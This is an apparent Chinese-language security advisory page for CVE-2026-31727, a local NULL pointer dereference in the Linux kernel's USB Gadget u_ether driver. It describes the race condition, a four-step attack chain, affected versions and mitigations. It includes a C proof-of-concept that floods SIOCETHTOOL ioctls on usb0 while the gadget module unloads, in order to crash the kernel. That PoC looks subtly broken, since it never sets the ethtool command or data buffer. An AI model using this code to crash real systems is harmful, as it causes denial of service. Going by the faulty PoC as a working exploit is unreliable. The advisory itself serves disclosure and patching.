IPBUF安全漏洞报告
English
CVE-2026-31727 CVSS 5.5 中危

CVE-2026-31727 Linux内核u_ether空指针解引用漏洞

披露日期: 2026-05-01
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31727
漏洞类型
空指针解引用
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelNULL Pointer DereferenceDoSUSB GadgetLocalRace Condition

漏洞概述

Linux内核USB Gadget子系统的u_ether模块存在空指针解引用漏洞。在设备解绑过程中,gadget指针被清空,若此时用户空间工具查询幸存接口信息,会导致内核崩溃。该漏洞CVSS 5.5分,允许本地低权限用户触发拒绝服务攻击。

技术细节

该漏洞源于Linux内核USB Gadget子系统中`u_ether`模块的竞态条件问题。在特定提交`ec35c1969650`引入的修复中,设备解绑时将gadget设备重父节点化至`/sys/devices/virtual`,此举会清空`dev->gadget`指针。然而,对应的网络接口设备可能仍然存活并注册在系统中。此时,若用户空间工具(如ethtool)通过ioctl系统调用`ethtool_get_drvinfo`,内核将执行`eth_get_drvinfo`函数。由于旧代码未检查`dev->gadget`是否为NULL便直接尝试访问其成员以填充`fw_version`和`bus_info`字段,从而导致内核空指针解引用错误。本地攻击者可利用此时间窗口,通过高频触发相关查询,导致系统内核崩溃或拒绝服务。

攻击链分析

STEP 1
步骤1:本地访问
攻击者获得目标Linux系统的本地低权限访问权限。
STEP 2
步骤2:触发解绑
攻击者等待或诱导系统执行USB Gadget设备的解绑操作(如卸载驱动模块)。
STEP 3
步骤3:竞态利用
在设备解绑导致gadget指针被清空的短暂时隙内,攻击者立即对幸存的网络接口执行ethtool查询操作。
STEP 4
步骤4:系统崩溃
内核在处理查询时访问NULL指针,触发空指针解引用异常,导致系统崩溃或内核恐慌。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <string.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <linux/sockios.h> #include <unistd.h> // PoC for triggering NULL pointer dereference in eth_get_drvinfo // Run this while unbinding a USB gadget device to exploit the race condition. int main() { struct ifreq ifr; int fd; // Target the USB gadget interface (e.g., usb0) strncpy(ifr.ifr_name, "usb0", IFNAMSIZ - 1); fd = socket(AF_INET, SOCK_DGRAM, 0); if (fd < 0) { perror("socket"); return 1; } // Continuously query driver info to hit the race condition window // Execute 'modprobe -r g_ether' or similar in another terminal while this runs for(int i = 0; i < 10000; i++) { ioctl(fd, SIOCETHTOOL, &ifr); usleep(100); // Short delay to allow context switch } close(fd); return 0; }

影响范围

Linux Kernel (Versions prior to commit 0326429e8ba9)
Linux Kernel (Versions prior to commit 7de4d46be407)
Linux Kernel (Versions prior to commit a36e5e800b9c)
Linux Kernel (Versions prior to commit e002e92e88e1)

防御指南

临时缓解措施
建议尽快升级Linux内核以修复此空指针解引用漏洞。若无法立即升级,应限制非管理员用户对ethtool工具的访问权限,并避免在系统运行关键任务时操作USB Gadget设备。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表